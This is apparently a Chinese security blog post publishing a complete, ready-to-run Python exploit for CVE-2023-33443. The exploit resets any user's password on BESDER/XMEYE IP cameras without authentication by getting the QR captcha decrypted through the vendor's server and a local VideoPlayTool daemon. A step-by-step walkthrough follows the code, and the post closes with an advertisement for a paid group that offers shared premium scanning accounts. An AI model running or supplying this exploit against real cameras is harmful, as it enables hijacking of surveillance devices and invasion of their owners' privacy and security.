免责声明
由于传播、利用WK安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负
责,WK安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除
并致歉。谢谢!
0x01 漏洞介绍
BESSDER是一家专注于网络摄像机和视频监控系统的公司,致力于为用户提供高质量、高性能的产品和服务,是一款值得信赖的网络摄像机产品。
利用CVE-2023-33443漏洞,绕过BESSDER和其他IP摄像头的未经保护的管理功能验证码。
0x02 影响版本
BESSDER和其他使用VideoPlayTool 2.0.1.0、XMEYE app和启用了验证码QR的IP摄像头。
0x03 漏洞复现
POC
#!/usr/bin/env python3.8
# PoC Exploit for VideoPlayTool 2.0.1.0 and XMEYE BESDER based IP cameras with QR captcha enabled to change a user password unauthenticated
import requests
import json
from urllib.parse import quote
# Ask for values to attack
ip_camera = input("IP of camera (default = 192.168.1.10): ")
port = input("Port of the IPCamera (default = 80 or 443): ")
user = input("User to change (default = admin): ")
password = input("Password to set for "+user+": ")
print()
# Configure debug proxy
burp = {
"http": "http://localhost:8080",
"https": "http://localhost:8080",
}
# Define headers to send request to VideoPlayTool local software to encrypt
headers_to_local_software = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Content-Type': 'text/plain;charset=UTF-8',
'Origin': 'http://' + ip_camera + ":" + port +'/',
'Referer': 'http://' + ip_camera + ":" + port +'/',
'Connection': 'close',
}
# Define headers to send payloads to IPCamera
headers_to_exploit = {
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Content-Type': 'text/plain;charset=UTF-8',
'Origin': 'http://' + ip_camera + ":" + port,
'Referer': 'http://' + ip_camera + ":" + port,
'Cookie': 'Language=English; User=admin',
'Connection': 'close',
}
# Define headers to send to XMEYE chinese server (estos chinos...)
headers_to_chinese = {
'Host': 'tools.xmeye.net',
'Accept-Encoding': 'gzip, deflate',
'User-Agent': 'okhttp/3.12.0',
'Connection': 'close'
}
# 1º STEP: Get captcha data
response_of_captcha_request = requests.post('http://'+ip_camera+":"+port+'/cgi-bin/resetpwd.cgi', data="ZfpPWg7d/JArHIeqZgH/duflv5mhIP39gzOJ4d6oyc8tS0a/oij9082urfWkzTNRW4jNo20xJ4HL56SretLKqQ==", headers=headers_to_exploit)
# Send captcha request to VideoPlayTool local software
response_of_captcha_request_to_local_software = response_of_captcha_request.text
# Define payload to request captcha data to VideoPlayTool local software
payload_to_encode = {
"MainType": 26,
"SubType": 0,
"data": response_of_captcha_request_to_local_software
}
payload_to_encode_json = json.dumps(payload_to_encode)
# Send response of captcha resquest to VideoPlayTool local software
response_of_captcha_request = requests.post('http://127.0.0.1:54455/Cmd-WebLocalCtrl', data=payload_to_encode_json, headers=headers_to_local_software)
# Convert resquests response on JSON data
response_of_captcha_request_json = response_of_captcha_request.json()
# Parse response of VideoPlayTool local software to get QR data
qr_data = json.loads(response_of_captcha_request_json["data"])
qr_data_text = qr_data["GetVerifyQRCode"]["VerifyQRCode"]["Text"]
# 2º STEP: Send captcha data to chinese server to be decrypted
qr_data_text_url_encoded = quote(qr_data_text, safe="")
url = f"https://tools.xmeye.net/deviceSuperPassword?text={qr_data_text_url_encoded}&uuid=xmeye&appkey=wtf"
print("Sending QR data to chinese server to get decrypted... Should hide ur ass!")
response_of_chinese_qr_decryption = requests.get(url, headers=headers_to_chinese)
# GET QR PIN from chinese server
response_of_chinese_qr_decryption_json = response_of_chinese_qr_decryption.json()
QRPIN = response_of_chinese_qr_decryption_json['securityCode']
# 3º STEP: Send QRPIN to the VideoPlayTool local software to get encoded
captcha_PIN_to_encode = {
"MainType": 26,
"SubType": 1,
"data": "{{\"Name\":\"CheckVerifyCode\",\"CheckVerifyCode\":{{\"VerifyCode\":\"{}\"}},\"SessionID\":\"0x00000000\"}}".format(QRPIN)
}
# Change data to JSON
QRPIN_to_encode_request = requests.post('http://127.0.0.1:54455/Cmd-WebLocalCtrl', json=captcha_PIN_to_encode, headers=headers_to_local_software)
# 4º STEP: Send QRPIN_encoded to IPCamera
# Analyse QR_to_encode_requesto to get response in JSON
QRPIN_to_encode_request_json = QRPIN_to_encode_request.json()
# Search QRPIN encoded data
QRPIN_encoded = json.dumps(QRPIN_to_encode_request_json.get('data'))
QRPIN_encoded_str = json.loads(QRPIN_encoded)
if "bCRwX0taG7FjuowuZrhPm3f7D/ra7mj3boVZbHJRIYa2T/3+tTTuUJY13ZRVdffiwEwkKJdLMIOicp7VPGvc+iN4l9QCpFUe22bqTbBfRX90XaKE+4o0K2nigcxgnkZ2" in QRPIN_encoded_str:
print("¡"+QRPIN+" IS A VALID QR PIN! Password reset unlocked...")
# Send QRPIN encoded to IPCAMERA
QRPIN_exploit = requests.post('http://'+ip_camera+":"+port+'/cgi-bin/resetpwd.cgi', data=QRPIN_encoded_str, headers=headers_to_exploit)
# 5º STEP: Change admin password
# Define parameters to encode by VideoPlayTool local software
payload_to_encode = {
"MainType": 26,
"SubType": 1,
"data": json.dumps({
"Name": "SetNewPassword",
"SetNewPassword": {
"UserName": user,
"NewPassword": password
},
"SessionID": "0x00000000"
})
}
# Send payload to encode by VideoPlayTool local software
request_to_encode_payload = requests.post('http://127.0.0.1:54455/Cmd-WebLocalCtrl', json=payload_to_encode, headers=headers_to_local_software)
# Analyse request to get response in JSON
response_with_encoded_data = request_to_encode_payload.json()
# Get payload data
payload_encoded = json.dumps(response_with_encoded_data.get('data'))
payload_encoded_str = json.loads(payload_encoded)
# Send request with encoded payload to CCTV security camera
response_of_exploit = requests.post('http://'+ip_camera+":"+port+'/cgi-bin/resetpwd.cgi', data=payload_encoded_str, headers=headers_to_exploit)
# Check if password change was applied
# GET HTTP STATUS CODE
print("")
print("")
print("############### RESULTS ###############")
print("")
print("Captcha PIN hacked:")
print(QRPIN)
print("")
print("HTTP RESPONSE CODE FROM IPCAMERA:")
print(response_of_exploit)
# GET response Body
response_of_exploit_body = response_of_exploit.text
print("")
print("CONFIRMATION CODE:")
print(response_of_exploit.text)
print("")
if "zjDcYpCgilAyuvlhaZwziGMuN7/zqbAZPRpFn4SZSB3MsQM7Qy0AEtxWxBJnh0gg" in response_of_exploit.text:
print("ERROR CODE RECIVED")
else:
print("¡GO CHECK YOUR NEW LOGIN "+user+":"+password+"!")
print("")
print("############ END OF RESULTS ############")
第一步是从IP摄像头获取QR码数据。可以通过向IP摄像头发送请求来完成此操作:
从IP摄像头获取编码的QR码数据:
第二步是将编码的QR码数据发送到VideoPlayTool进行解码:
从IP摄像头解码QR码数据:
VideoPlayTool软件提供的数据是加密的,我们需要将该数据发送到XMEYE进行解密以获取验证码:
解密QR数据:
现在,我们将QR码发送到本地软件进行负载编码,然后将其发送到IP摄像头。
一旦QR码被验证并发送,我们就可以获取要加密的参数(在这个PoC中,更改一个用户密码),并将这些参数发送到VideoPlayTool的本地守护进程“Cmd-WebLocalCtrl”,这属于合法查询。一旦我们获得了要发送给摄像头的请求,例如将用户“admin”的密码更改为“attackerpassword”。
要加密的负载:
我们从VideoPlayTool守护进程接收到的响应是我们必须发送给BESSDER安全摄像头的加密负载。
带有加密负载的响应:
现在,我们必须将加密负载发送到摄像头的正确端点。在这个例子中,因为我们想要重置用户的密码,所以我们将加密负载发送到"http://[IP_CAMERA]/cgi-bin/resetpwd.cgi",并附带cookie "User=admin",摄像头会回复确认信息。
发送加密负载:
摄像头确认:
攻击者登录成功:
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-33443
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-33443
欢迎加我wx,一起交流交流
湘安无事团队 知识星球 一次付费,永久免费,享受两大内部群+星球双重福利(付费之后会拉入内部成员群,直接免费续上)。有需要的直接添加上面微信 118永久,私我支付,直接拉内部成员群,扫码支付,三天后拉内部成员群。
内部群共享
1.fofa高级会员账号
2.360quake高级会员
3.某在线高级会员靶场账号(附带wp)
4.专属内部漏洞库(持续更新)
5.原创漏洞挖掘报告
6.it课表众多好课(持续更新,内容涉及安全+开发等)
7.在线答疑,不定期直播技术分享【湘南第一深情、wuli、Awake等】
星球介绍:
星球针对安全新人有优秀学习资源,星球专属嘉宾进行问题解答,
性价比很高。
如果你是入门不久,想要提升漏洞挖掘能力,那该星球是个不错的选择,星球内拥有
专属漏洞报告,
各种奇淫技巧、挖洞技术、专属嘉宾在线问答等。
欢迎您的加入,星球部分内容请你查看!!
星球内容介绍
星球内部提供众多好课
安全类:web安全、内网、src挖掘、kail、逆向、游戏漏洞挖掘、免杀等
开发类:python安全开发、java、Golang、php等开发课程
专栏提供内部漏洞库
专栏内容预览
扫码查看更多内容
文章引用微信公众号"WK安全",如有侵权,请联系管理员删除!